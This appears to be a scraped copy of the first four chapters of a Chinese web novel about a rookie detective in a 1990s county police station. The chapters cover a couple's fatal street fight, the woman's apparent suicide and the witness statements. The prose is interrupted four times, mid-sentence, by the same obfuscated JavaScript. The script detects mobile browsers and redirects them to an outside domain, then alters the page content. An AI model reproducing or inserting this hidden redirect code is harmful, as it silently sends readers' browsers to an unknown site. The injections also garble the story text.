《通灵神探,吃瓜破案[九零刑侦]》 1. 情侣吵架杀人案(1) 桑落蹲在街边抽了一夜的烟,等晨曦的第一缕曙光照进她的眸子,她终于站了起来,狠狠踩灭了脚下的烟头。 深秋的天气有些寒冷,桑落裹紧了身上的大衣,街上铺着厚厚一层落叶,踩上去就能听到清脆的爆裂声,周围的建筑普遍不高,有些灰蒙蒙的,这里是九十年代的祖国。 桑落自己也不清楚是怎么来到这里的,十个小时之前,她还是一名普通的现代大学生,晚上熬夜看小说,白天上课打瞌睡,下课就去食堂抢着排队,生活再平淡不过。 她最后的记忆是在去食堂的路上,身后的同学用力推了她一下,她没站稳摔倒了,地上正好有一块尖锐的石头,那块石头刺中了她的太阳穴,她眼前的画面就此停止。 再一睁眼,她就已经来到了这个世界。 经过一夜的思考之后,桑落已经接受了自己现在的处境,通俗地说,她穿越了,她在原本生活的世界已经死去,但是她的灵魂不知为何穿越到了九零年代一个同名同姓的女孩身上,让她能够代替这个女孩继续活下去。 桑落在小说里见过这样的套路,但是怎么也没想到有一天会发生在自己身上,和小说里不同的是,桑落穿越后没有遇到系统的新手引导,她只是一个平平无奇的普通人,一切都要靠她自己摸索。 桑落继承了原主的记忆,原主的父母离婚后又各自再婚,亲戚们大多都在农村生活,没有人照顾她,但好在原主独立能力很强,她不仅把自己照顾得很好,还一直发愤图强,考上了公安大学,毕业后又凭自己的本事考上了白云县公安局的刑警岗位,端上了铁饭碗。 桑落到来的这天,恰好是原主入职报道的前一天,桑落思考了一夜,还是决定既来之则安之,去单位办理入职手续,无论哪个年代,端好饭碗都是最重要的。 她整理好报道需要用的文件,然后拿着文件夹走出了门,她家距离县公安局只有步行十分钟的路程,今天天气很好,晴空万里,路边的麻雀叽叽喳喳,她握着手里的文件夹,心情有些激动。 在原来的世界,桑落是一名推理小说爱好者,她打小就想当个侦探,最大的心愿就是有一天能够亲手破案,刑警学校是她高考时的第一志愿,但是为了确保录取,家人逼着她勾选了各个学校的服从调剂,最终桑落被一所师范大学的会计专业录取,她发自心底地厌恶会计专业,也不想毕业后成为一名会计,干脆完全就沉浸在小说的世界里,每天浑浑噩噩度日。 没想到阴差阳错之下,她竟然意外能够从事自己最喜爱的职业,桑落微微握拳,在心里暗自发誓,一定要抓住这个机会,在岗位上大放光彩! 县公安局大楼共有五层,外墙是灰白色,在周围的一众建筑里算得上气派,桑落和一楼的门卫说明了来意,门卫指点她去二楼的办公室办理入职手续。 桑落拿着文件走上二楼,走廊里很嘈杂,每个房间都有人讨论案情,这里的人神色匆匆,完全没有人留意到她,她径直走进局办公室,请里面的人帮自己办理入职手续。 办公室里的人各忙各的,一个穿着白色高领毛衣的中年女人注意到了桑落,她搁下手里的活,走上前对着桑落打量一番,然后接过她手里的文件,开始帮她办理入职手续。 另一名女同事好奇地凑上来看:“冉姐,这就是刑警队今年招的新人?我听说她考的分数是全县最高的,大家都以为她是个男生,没想到竟然是女孩子啊!她不害怕尸体吗?万一看到现场,可别吓得哭鼻子……” 冉姐拍了拍同事的肩膀,示意她少说两句,然后把文件夹还给桑落,对着她露出一个温暖的笑容: “桑落小同志,欢迎你加入我们这个大家庭,入职手续已经办理好了,现在我带你去见一见你以后的领导。” 桑落跟着冉姐朝楼上走去,一直走到五楼,冉姐敲响了最西端办公室的门。 “进来!” 里面的声音略显冷漠。 冉姐笑着推开了门,把桑落推到了自己身前,为她介绍道:“这位是刑警三队的队长廖关天,你称呼他廖队就可以,今后你的工作一切都要听廖队指挥,廖队,这是桑落,刑警队新来的小女警,分到你们组了。” 桑落打量着眼前这个男人,他是个光头,身体比一般人要强壮,衬衫的扣子都要被撑得崩开了,他眼周有很深的黑眼圈,看得出平时经常熬夜,根据他指甲上的黄色来看,他有烟瘾。 廖队连眼皮都没抬一下,只是闷闷地从嗓子里挤出了一声“嗯”,随后就示意两人可以离开了。 冉姐依旧好脾气地笑着,带桑落离开了办公室,就在门将要关上的一瞬间,屋里传出一声不大不小的嘀咕: “怎么是个女的,我还想招个男的……” 冉姐尴尬一笑,装作没听见一般带着桑落推开了隔壁房间的门,这就是她以后的办公室,屋里阳光很足,已经坐了三个人,他们正在热闹地说着什么,桑落一来,他们全都停住了。 冉姐指着这三人,一一为桑落介绍道:“这位是马识途马警官,他负责传授你们办案的经验和知识,以后他就是你的师父,有什么不懂的都可以问他。” 桑落顺着她手指的方向看去,这是一个较为年迈的男人,他白发苍苍,似乎连眉毛都白了,佝偻着背,身形消瘦,双眼却格外有神,像一对鹰眼,注意到桑落的目光,他朝桑落微微点了点头。 不等冉姐介绍,三人中的年轻男子就热情地冲到门前,把桑落拉进了屋里,在阳光下,他朝桑落嘿嘿一笑,露出两颗虎牙: “嘿,新来的,我叫袁小虎,我比你早来一年,我们都被师父带着,也算是一个师门的人了,你来得最晚,以后你就是三队的小师妹!” 桑落看着他,袁小虎有些憨头憨脑的,像是个直性子,他长相帅气,剃着寸头,皮肤黝黑,身强力壮,肌肉格外发达,一看就是队里的体力担当。 剩下的年轻女人也走上前来,主动对桑落伸出了手:“你好,我叫谢灵儿,与袁小虎同年入职,三队现在正缺人,欢迎你的加入。” 桑落和她握了握手,谢灵儿便笑了,眯起一双弯月般的眼睛,不知道为什么,这个女人身上有种让人很想亲近的气质。 三人介绍完,桑落也大方地说出了自己的名字: “大家好,我是桑落。” “看来你们已经相互认识了,那你就留在这里慢慢熟悉环境吧,桑落小同志,我先下去了。” 冉姐放心地离开了,替他们关上了门。 和不苟言笑的廖队不同,马识途要友好得多,他对着桑落笑了一下,然后指了指角落里一张摆满杂物的桌子:“桑落,你就坐这里吧。” 桑落点点头,还没等她走近,袁小虎就抢先一步帮她清理起了桌上的杂物,谢灵儿也主动端来一盆水,用抹布帮桑落擦干净了桌椅。 没几分钟,一套干净的桌椅就出现在桑落眼前,她的“谢”字还没说出口,袁小虎就抓起她的手腕,往她手里塞了一个热乎乎的东西。 桑落低头一看,那竟然是一枚水煮蛋,她疑惑地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925818|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁小虎,袁小虎得意地笑了:“还没吃饭吧?我一看你的脸色,就知道你没吃早饭,不吃早饭可不行,不吃早饭会晕的,干咱们这一行,身体最重要!” 说着,袁小虎打了个饱嗝,桑落这才意识到空气里那股煎饼味是哪来的,大家全都不约而同地笑了起来。 袁小虎还想说话,谢灵儿抢先一步把桑落拉了过来,贴心地对她说道:“你别担心,刑警队比较照顾咱们女生,女生进来了一般是做文职,负责处理案子相关的文件,有时候要录口供,基本上不用出现场,也不用面对尸体,你不用害怕!” 谢灵儿的话虽说是好意,但是在桑落听来却有点刺耳,所谓的“照顾”同时也是一种限制,默认了女性无法参与一线行动,只能做些辅助工作,既然已经进了警队,桑落当然不会甘心只是做辅助工作。 “如果我说,我想出现场呢?”桑落大胆问道。 袁小虎哈哈大笑起来:“小师妹,你还是歇了这条心吧!就比如说昨天那案子,一个窃贼犯案后逃跑了,我和师父一路从城东追到城西,最后那个小贼想跳河逃跑,我直接跳到河里把他捞上来了,你有这能力吗?” 桑落也知道论体力她比不过袁小虎,但她说道:“破案不止靠体力,也要靠脑力,让我参与案件调查,我可以给你们提供一些思路。” 注意到桑落眼里的坚毅,马识途的脸上露出一丝赏识,袁小虎还想说些什么,马识途拦住了他,然后对桑落说: “好,你的想法我知道了,以后如果有合适的案子,我会带你一起出现场。” 桑落大为惊喜,她本来都做好了被拒绝的准备,没想到马识途这么民主,她心里默默对这个师父多了几分好感。 袁小虎撇撇嘴:“你只是还没见到现场罢了,等你看到那些尸体啊鲜血啊什么的,估计就哭着喊着要转文职了。” 桑落没有和他争,只是说:“你等着瞧!” 今天三队没有接到新案子,桑落用一整天的时间翻看了三队以前处理过的旧案子,看到最后她有些失望,原来三队以前处理过的案子都是一些案情简单的案件,嫌疑人清晰明确,三队只是负责抓人而已。 谢灵儿给她解释了一下,三队成立的初衷就是为了让刑警队的老人带新人,三队只成立了一年,是在她和袁小虎入职时成立的,因此三队还有个别称叫“新人队”,警队本来就没指望这支“新人队”能干成什么大事,只想让他们几个新人尽快熟悉工作,因此分给三队的都是些简单易破的小案,而那些疑难案件都交由一队二队了。 桑落很是失望,这样一来她根本就接触不到那些有难度的大案,她的推理能力也派不上用场了。 她的微表情被马识途尽收眼底,马识途喝了口茶水,什么都没有说。 下午六点,同事们都下班了,桑落还留在公安局的档案室里,这里存放着警队历年来破获过的案件,其中有不少疑难案件,虽然桑落接触不到,但是能学习学习也是好的。 桑落看得着迷,不知不觉就到了晚上九点,手机传来响声,她接到了师父马识途的电话: “喂,桑落,你在哪里?” 桑落立刻说:“师父,我在单位!” 马识途那头传来汽车发动的声音:“很好,现在下楼,我的车就在单位楼下,今晚有案子,带你出现场。” “收到!” 桑落几乎激动到失语,她挂了电话,飞快地跑下楼梯,手心激动得微微冒汗——她终于接到了她人生中的第一起案件! 2. 情侣吵架杀人案(2) 马识途开车,袁小虎已经坐上了副驾驶,于是桑落坐到了后排,路上马识途一边开车一边说明案情: “刚接到的案子,大概晚上八点半,吉祥街有一对情侣吵架,吵着吵着就动手了,男方拿起水果摊上的水果刀想要刺杀女方,结果刀子被女方夺走了,女方在扭打中把刀子刺向男方胸口,男方当场毙命,当时现场有几个人围观,马上就有人报了警。” “男方咽气之后,女方也明显受到了惊吓,她拿着水果刀跌跌撞撞地跑了,由于她手上有刀,所以现场没人敢拦她,但是有好事者一路跟随她,看到她走进了几百米外的粮油家属楼,后来就再也没出来,现在还在里面躲着。” “我们有同事去吉祥街确认过了,男方已经死亡,”马识途补充道,“所以我们本次的任务就是去粮油家属楼逮捕杀人的女子,目前还不知道她的姓名,据目击者称,这个女人是长头发,大概到腰部,上身穿浅蓝色毛衣,下身是黑色裤子。” 说到这里,马识途强调道:“小虎,进入家属楼以后你配合我的行动,桑落,你是第一天上班,还没有配枪,不要冒然行动,一切听我的指挥。” 桑落立马答应下来,她的目光向这两人的腰间看去,果然发现两人的腰间都带有配枪,她不禁咽了咽口水,这还是她第一次见到真枪,太刺激了! 到了粮油家属楼的楼下,马识途停下车,三人走了下来,那个报警的热心群众还守在单元门的门口,看到警察来了,他激动地握住马识途的手,一脸兴奋地说道: “警官,她就在楼里面!我从刚才守到现在,一步都没有离开过,我向您保证,她就在楼里面!” 马识途向他表达了感谢,随后就疏散了现场的围观群众,拔出配枪,带着桑落和袁小虎走进了大楼。 随着几人的进入,楼道里的灯也亮了起来,楼梯上有明晃晃的血迹,一滴,两滴……随着楼梯蜿蜒上去,看到这些血迹,马识途再次提醒身后的两人要时刻保持警惕。 桑落一路谨遵师父的叮嘱,她完全躲在马识途身后,精神高度集中,留意着楼道里的细节,生怕嫌疑人从哪个角落里冒出来。 几人跟随血迹一路上到了三楼,三楼有301和302,看着地上的血迹,嫌疑人明显是进入了301,于是马识途用力敲响了301的房门,说明了自己的身份,同时两人举枪对着门口,防止嫌疑人出来袭警。 “开门,我们是警察!” “开门,再不开门,我们将破门而入!” 半分钟过去,马识途再次敲响了房门,并做出了警告,这次屋内依旧无人回应,见状,马识途不再敲门,招手让袁小虎上来,袁小虎拿出随身携带的工具,直接强力破坏了门锁,顺利地打开了门。 打开门的一瞬间,里面的景象让几人愕然,只见客厅的电风扇下面吊着一个女人,女人脸色青紫,显然已经死去,她有一头长发,穿着浅蓝色毛衣和黑色裤子,衣服上沾满了血迹,她的手上也有血迹,一切都表明她就是那个杀人的嫌犯。 地上扔着一把带血的水果刀,还有一个被踢倒的凳子,看来女人是通过这个凳子上吊自杀的。 袁小虎顿时松了一口气:“呼,看来她已经畏罪自杀了,师父,我们可以结案了!” 马识途没有回答,他在房间里仔细检查了一圈,确定房子里没有藏着其他人,这才打电话通知了技术科,让技术科来现场采集证据。 等技术科到达之后,马识途等人驾车离开了这里,桑落坐在后排小心地问道:“师父,她真的是畏罪自杀吗?” 马识途沉稳地说道:“目前看来是这样,怎么,你有想法?” “我……不,我没有。” 在看到客厅现场的那一刻时,桑落心里升起了一种奇怪的感觉,但是她也说不上来哪里奇怪。 马识途把车子开回了公安局楼下,桑落和他们道别,步行回了家,一路上她都在回想今天看到的现场,到底是哪里奇怪呢? 回到家已经是晚上十点了,桑落一直没吃晚饭,到现在竟然也不觉得饿,为了维持体力,她草草给自己下了碗面,只放了葱花和盐,味道竟然也不差。 吃饱饭后桑落开始思考今后的人生,虽然只来到这个世界一天,但是她已经适应了这里的生活,在原来的世界里,桑落的父母重男轻女,逼着她赶快工作,成为一名伏弟魔,桑落和家里感情很差,因此能够脱离这样的原生家庭对她来说也是一件好事,她决定不回去了,好好留在这里,当一名刑警,实现自己的人生价值。 除了自己的记忆之外,她脑海里还承载着这具身体原主的记忆,原主一家原本住在村里,是老实本分的农民,父母生下了一对双胞胎女婴,也就是原主和妹妹桑若,一家人和和美美地生活,但是在两个孩子七岁那年,妹妹失踪了,疑似被人贩子诱拐,从此下落不明。 父母经过多方寻找也没能找到妹妹,后来碰上国家征地,他们手里有了点钱,干脆到县城里买了一个小房子,父母也开始在城里打工。 尽管脱离了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925819|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来的环境,但是这个家庭一直笼罩在妹妹失踪的阴影之下,父母总是说起妹妹失踪的事情,然后两人相互指责,争吵不断,最后甚至大打出手。 桑落十五岁那年,父母感情完全破裂,两人办理了离婚,后来又各自结婚,组成了新的家庭,没有人照顾桑落,为了弥补对她的歉意,父母把这个县城里的小房子留给了桑落,从此他们搬离这里,彻底从桑落的生活中消失。 对这段往事,原主或许很伤感,但是桑落却不这么觉得,毕竟她是中途穿越来的,对这对父母没什么感情,而且她的思想也更加现代化,用她的眼光来看,自己现在有房无贷,离单位近,还没人管,简直不要太爽! 回忆完过往,桑落站起来环顾了一圈这个房子,房子虽然面积不大,但是布置得很温馨,只可惜原主一直在外上大学,房子里太久没人住,布满了灰尘,只要能够稍加打扫,还是很不错的。 说干就干,桑落也不顾现在是深夜,立刻动手打扫起了家里,她先是用抹布把家里的家具都擦了一遍,然后又扫地拖地,最后给自己换上了干净的床单,这才放心地躺在床上。 在打扫房间的过程中,桑落把一些堆积的旧物都整理了出来,这些东西现在都用不着了,不如拿出去卖钱,其中有一本老版的红皮字典,桑落瞧着眼熟,就把它放在了书桌上。 桑落刚躺了没几分钟,屋里忽然一片漆黑,卧室的灯自动关了,桑落以为是断电,打算起来去看看是什么情况,就在她刚站起来时,桌上的字典自动翻开了。 窗户是关着的,窗帘纹丝不动,屋里没有风,但那本红皮字典却在自动翻页,桑落不敢置信地走上前看着这一幕,字典哗啦啦地翻页,最后在某一页停了下来,那一页的某个字格外耀眼—— 【冤】 冤? 桑落一脸懵逼,还没等她做出反应,字典就合上了,屋里的灯也亮了,眼前的一切都恢复了正常,就好像什么都没发生过一样。 桑落揉揉太阳穴,不确定刚才的一幕是不是她累过头产生的幻觉,不过既然连穿越这种事都被她碰上了,那遇见更离奇的事也不是不可能。 书桌上正好有个闹钟,桑落用余光瞥了一眼时间,发现现在恰好是午夜十二点。 十二点,桑落依稀记得她以前听过一个传说,传说午夜十二点是阴阳两界相通的时间,再结合刚才看到的那个字,桑落心里涌起了一种奇特的感觉—— 难道这是死者的亡魂在告诉她,这件案子背后另有冤情? 3. 情侣吵架杀人案(3) 这事虽然奇怪,但是想到明天还要上班,桑落只好先睡了,第二天一早她就被闹钟吵醒了,醒来后桑落简单洗漱了一下,她坐在床上想了又想,还是决定不把昨天夜里的事情说出去,这种事情要是说出去,恐怕别人要把她当成精神病了。 桑落穿好衣服出门,朝着单位走去,没走几步就路过一家早点摊,眼看时间还早,桑落坐下吃了个早饭,摊子上卖的是豆腐脑和油条,豆腐脑咸香,油条金灿灿的,又酥又脆,一口下去整个人都精神了,桑落把豆腐脑和两根油条吃了个精光,连渣都没剩。 这顿早餐让她心满意足,因此走路也格外有劲,没走几步就到了单位,推开三队办公室的门,大家已经聚齐了,所有人都在等她,桑落有些惊讶,她看了一眼时间,现在才七点半,还不到规定的上班时间八点,怎么大家都来了? 马识途淡淡瞥了她一眼,没有说什么,显然这是三队的常态,桑落主动上前问起:“师父,昨天的案子怎么样了?” 马识途喝了口茶水:“那两具尸体已经交给法医了,解剖还需要一些时间,今天会出尸检报告,总体来看案情很清晰,应该不会有什么问题。” 说着,他指了指谢灵儿:“桑落,你今天跟着灵儿一起给目击证人录口供,灵儿很擅长与人沟通,你也可以学学。” 说罢,马识途就带着袁小虎走了,显然他们还有其他事情要做,录口供的事就交给她们了,谢灵儿带着桑落一起进入了审讯室。 昨晚的杀人案发生时现场有好几名目击者,这些目击者都是老人,案发时他们正在不远处下象棋,现在这几位老人都被请到了审讯室,桑落和谢灵儿将会一一为他们录口供。 第一位目击者是黄大爷,他绘声绘色地给两人讲起了当时的场景:“当时我就在街对面,老李和老孙在下象棋,老李这个臭棋篓子,他连输了三局,还不肯把位置让给我!这把我给气坏了,我索性就懒得看他们的棋局,开始四处张望起来——” “估摸着晚上八点多,那对小情侣出现了,是女方先到的,一个特别文静的女孩,长头发,长相很漂亮,我就忍不住多看了两眼,别误会,我不是色狼,只是那女孩确实漂亮,她的双手握在一起,两脚并拢,安安静静站在街边,似乎在等什么人。” “又过了十分八分的,男的出现了,男方戴着眼镜,看着模样很斯文,但是他走路有点不稳,摇摇晃晃的,他走到女的面前,女的想拉住他的手,他一下子就甩开了,然后两人吵了起来,不知道说了些什么,男的就开始动手了。” “他先是狠狠给了女的一巴掌,然后想伸手去扯女方的头发,女方急忙向后躲,男的扑了空,摔了一跤,趁此机会女方撒腿就跑,但是男的很快就追了上来,他从背后狠狠踢了一脚,把女方给踢倒,然后在女方背上狠狠踹了几脚,哎呀呀,真是给我看的于心不忍,我想上去阻拦,但是我岁数大了,又怕打不过人家……” 黄大爷为自己辩解着,谢灵儿温柔地说:“没关系,我理解,您继续说,后来呢?” 黄大爷这才说回了正题:“总之那个男的一直在踹那个女的,嘴里还在说着些什么,但是我们隔得远,听不清楚,有一点比较奇怪,那个女的居然没怎么叫唤,就像是哑巴了一样,你说奇怪不奇怪?普通人被殴打了,怎么也得喊叫几声吧?” “他踹够了,似乎是解气了,转过身打算离开,这时候地上那个女的突然站了起来,从男人的背后偷袭,用指甲狠狠抓伤了男人的脸,哎哟,男人的脸上左一道右一道,鲜血淋漓,简直没人样了,男方被这一抓,也急红了眼,他跟疯了似的拿起旁边的水果刀,用力朝着女人的胸口捅了过去。” “这个女人的动作很灵活,这一次又被她躲过去了,男人捅一次没中,还想捅第二次,就在这个时候,女人把刀子从他手里夺了过来——也不知道她哪来的这么大力气,女人抢了刀子,抢先一步把刀子扎进了男方的左胸,正好是心脏那个位置,然后她飞快把刀拔了出来,男方的血哗啦啦流出来,哎呦,我简直没眼看了!” “男方踉跄几步,很快就在血泊中倒下了,他一开始还捂着心脏叫唤几声,后面就彻底没动静了——人死了!事情闹大了,我们这帮老头子都吓坏了,幸好老孙带了手机,我们就让他打了报警电话。” “那个女人没有立刻跑掉,她在原地愣了几秒,好像也被吓住了,大概过了一两分钟,她才缓过神来,转身跑向另一个方向,我一想,这可是杀人凶手呀,怎么能让她跑掉呢?于是我就偷偷摸摸跟了上去。” “我跟得很远,始终保持一段距离,然后我就看到她跑进了粮油家属楼,为了防止那女人跑掉,我就一直等在她楼下,一直等到你们的警车来,这期间有别人出入过,但是那女人肯定没下来。” 黄大爷邀功似得冲桑落笑着,桑落认出他就是昨天晚上那名目击证人,于是再次对他表达了感谢。 黄大爷走出审讯室后,两人又为当时在场的其他几位老人录了口供,他们说的都和黄大爷大差不差,这也从侧面证实了黄大爷的话。 除了几位老人之外,还有一个目击证人是水果摊上的小贩,他叫刘大勇,刘大勇进入审讯室后两只眼睛一直盯着地面,额头上直冒冷汗,说话也结结巴巴的,好像他就是杀人凶手似的。 谢灵儿见状立马明白了,这人大概是第一次来到警局,对警局有些畏惧,于是她安慰起刘大勇:“没关系,别害怕,我们不是要抓你,只是请你来录口供,你是重要的目击证人,当时你离他们很近,应该能听到那对情侣都说了些什么,请你把听到的内容告诉我们。” 刘大勇这才松了一口气,整个人都舒展了,昨天晚上他被吓得不轻,生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925820|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这件事扯上什么关系,今早听到警方传唤的时候他都要吓尿了,现在听说只是要录口供,他心里顿时放松下来,开始回忆昨晚的经历: “警官,是这样的,昨晚我在路边卖水果,街对面有几个老头在下象棋,其实这么晚已经没人路过了,但是没办法,果子卖不完,我就不能回去,都是自家种的,烂了就完了。” “当时天气很冷,我一直在吹冷风,实在坚持不住了,所以我时不时地看时间,就在八点十分的时候,有个女孩来到了我附近,就站在我不远处,我还问她要不要买水果,她没有搭理我。” “过了几分钟,一个男人过来了,也就是昨天死掉的那个男人,他从我的摊子前面走过,一身的酒气,我看他好像火气很大的样子,所以就没敢问他,他走到那个女人面前,张口就开始骂人——” 说到这里,刘大勇给她们表演起了当时的场景,他用自己的左手和右手分别扮演着男人和女人,模仿着两人当时的对话。 男:“你这个贱人,你不要脸!三年以来你一直都在骗我,你花了我的钱,还浪费了我的青春和时间,贱人!” 女:“我也不是故意的,我这样做都是为了和你在一起,我害怕失去你,求求你,再给我一次机会吧……” 男:“没用的,什么也不用说了,我和你之间没什么好说的,现在我看你一眼就恶心,你就是个怪物!怪胎!变态!” 女方仍旧低声下气地恳求。 男:“闭嘴,我们之间完了!我要退婚!幸好我还没有给你买金首饰,对了,有一点你给我记住,我们退婚以后,这件事你不要告诉我们共同认识的人,否则我就会成为别人眼里的笑话,我永远抬不起头做人了!” 女:“你不要我了,以前那些承诺呢?难道你不爱我了吗?” 男:“爱?我现在恨你恨得要死,实话告诉你,要不是有法律拦着我,我早就把你给杀了!” 此时男方动手打了女方一耳光,这之后的过程就和黄大爷说的一样,女方抓伤男方,男方拿刀试图杀人,却被女方反杀。 桑落在心中暗暗点头,男女之间的对话很简短,这一点很合理,这和之前的口供对得上,前面的几人也说这对情侣没说几句就打了起来。 说到最后,刘大勇有些不安地问:“我真的不会被抓起来吗?毕、毕竟他们杀人用的是我的刀,但我可真没想到啊,我只是好好的把刀放在摊子上,谁能想到……” 谢灵儿有力地点了点头:“请放心,这起案子里没有你的责任,毕竟是男方主动夺取了你的刀子,不是你有意要把刀子借给他。” 刘大勇如蒙大赦,长出了一口气,高兴地走出了审讯室。 望着他的背影,桑落开始思考,假设这个刘大勇说的都是真的,那么在这对情侣的对话中,有一个词很值得留意。 4. 情侣吵架杀人案(4) 恰好这时技术科那边送来了两位死者的尸检报告,里面夹杂着两位死者在死亡现场的照片,于是谢灵儿重新把这些证人叫回审讯室,让他们一一辨认那两张照片。 第一个是黄大爷,他一口咬定照片上的就是当晚吵架的那对情侣: “没问题,错不了,绝对就是他们俩!你瞧瞧男方脸上这些血道子,都被抓成大花脸了!还有这个女的,瞧瞧这大眼睛,这樱桃小嘴,就是她!可惜呀,就这么死了……” 后面进来的是老李和老孙,老李推说自己没看清那对情侣的长相:“哎呦,我们当时光顾着下棋呢,我只是听他们两人吵架,没怎么抬头看,更没记住人家的长相,警察同志,这事我可帮不上忙!” 老孙则是支支吾吾:“这……那个女的头发太长了,还总用头发挡着脸,我就看见几个背影和侧脸,没看见她的正脸,其实,其实我不知道她长什么样。” 剩下的几位老人有的说照片上的就是那对情侣,有的说没看清,这也可以理解,毕竟他们都年龄大了,眼神不太好。 当时离死者最近的刘大勇也无比肯定照片上的就是当晚的那对情侣,这个结果让谢灵儿很满意,送走所有人之后,她笑眯眯地整理起桌上的口供: “证人们大多都说这照片就是那对情侣,看来不会错了,这案子就是女方杀了男方,然后又畏罪自杀。” 不错,一切都说得通,桑落在一旁沉默,但真相果真就是这样吗? 她又想起了昨晚的那个【冤】字。 如果那个冤字真的是死者在喊冤,那么是哪一位死者在喊冤呢?这起案子里可是有两名死者。 谢灵儿熟练地整理文件,桑落的目光落到了她身上,通过刚才的录口供,桑落又加深了对谢灵儿的认识,难怪师父说她很擅长与人沟通,这话不是指她有特殊的审讯技巧,而是指她身上有一种很让人信任的气质,这种气质会让罪犯和证人在录口供时更愿意敞开心扉。 以往人们对刑警的印象就是严肃和冷酷的,谢灵儿则像是一个温柔有耐心的邻家姐姐,这会让原本精神紧绷的证人放松下来,如果今天坐在审讯室里的是不苟言笑的廖队,恐怕刘大勇根本就不敢开口说话。 尸检报告就放在桌上,刚才谢灵儿只取出了里面的尸体照片,两人还没有仔细看内容,桑落刚拿过来准备看,袁小虎就推开了审讯室的门: “死者的身份确认了!” 原来上午师父出门是带着袁小虎去走街串巷确认死者的身份了,他们随身携带了死者的照片供人辨认,一路走访打听,好在这是一个小县城,居民们彼此都认识,很快就确认了死者的身份。 男方叫杜凌风,是本地粮油副食店老板杜春生的儿子,杜凌风原本在市里读大学,今年夏天刚毕业,还没有找工作,回到县城和家人生活在一起,他于昨天晚上七点出门,后续便再也没有回去,家人正在四处打听他的下落,得到警方散播出去的寻人消息之后,他们便立刻赶到了公安局。 来的是三个人,分别是杜凌风的爸爸妈妈和妹妹,马识途让他们做好心理准备,然后就带他们到停尸间认了尸体,马识途掀开白布之后,在场的三个人立刻痛哭不已,他们一眼认出这就是杜凌风。 男死者的身份确认了,马识途便带着家属到审讯室询问起了案发前的情况,由于家属情绪激动,马识途不得不一再安抚他们,这也使得询问的过程格外漫长。 在审讯的过程中,桑落也在一旁负责记录,马识途开口问出了第一句话:“你们确认这就是你们的儿子杜凌风?” 坐在椅子上的杜春风和妻子连连点头,杜春生说:“错不了,那是我的儿子,就算是化成灰我也认识!他X的,是谁把我儿子害死的?警官,你告诉我是谁干的,我现在就去把那个人千刀万剐!” 马识途简要地把昨天的案发过程给他们讲了一下,杜春风十分错愕:“是沈雪遥?怎么可能呢?我儿子堂堂一米八八的大男人,怎么可能被一个小女生被杀了呢?警官,你不是在和我开玩笑吧?” 杜妈妈也啜泣着补充道:“是啊,雪遥这孩子,前不久我们才见过,她和凌风两个人感情挺好的,从来没吵过架,也没红过脸,怎么会突然动刀子呢?警官,你再好好查查,一定是有哪里搞错了!” “当时现场有好几名目击证人,大家都看到了是那个女子把刀插进杜凌风的胸膛里,错不了,”马识途耐心地解释道,由于女方的家属至今没有出现,他只能通过男方家属来确认女死者的身份,“你们刚才说那个女子叫沈雪遥,你们还知道她的其他信息吗?” 杜妈妈擦着眼泪:“怎么会不知道呢?她可是我们未来的儿媳妇呀!她的底细我们全都知道,这个女人和我儿子读同一个大学,都是中文系的,以前他们两个都在市里的青华大学上学,两个人就是在学校里认识的,他们从大二开始谈恋爱,一直谈到大四,谈了整整三年。” “毕业之后我儿子不急着找工作,反而火急火燎地带着那女人来见我们,说是见完家长之后就要订婚,那女人长得白白净净,举止很文雅,老家是白云县高粱村的,她是家里独女,上面还有一对父母,我瞧着她家底干净,是个老实孩子,就答应了下来,凌风他爸也不反对,这事就说定了。” “那次见面之后,我们帮两个孩子在饭店里订了一桌子好菜,这样就算订婚了,雪遥的父母没来,她说是农忙,不方便来,等到正式婚礼的时候会来的,我们也就没当回事,那天吃饭的时候我们还有说有笑的,这这这,谁想到后来会变成这样呢?” 马识途总结道:“所以,你也不知道他们两人是为什么发生矛盾?” 杜妈妈摊开双手:“完全不知道,我如果早知道这个女人会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925821|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动手杀了我儿子,我早就劝他们分开了,怎么可能会同意他们结婚呢?老天爷,我真是后悔啊!” 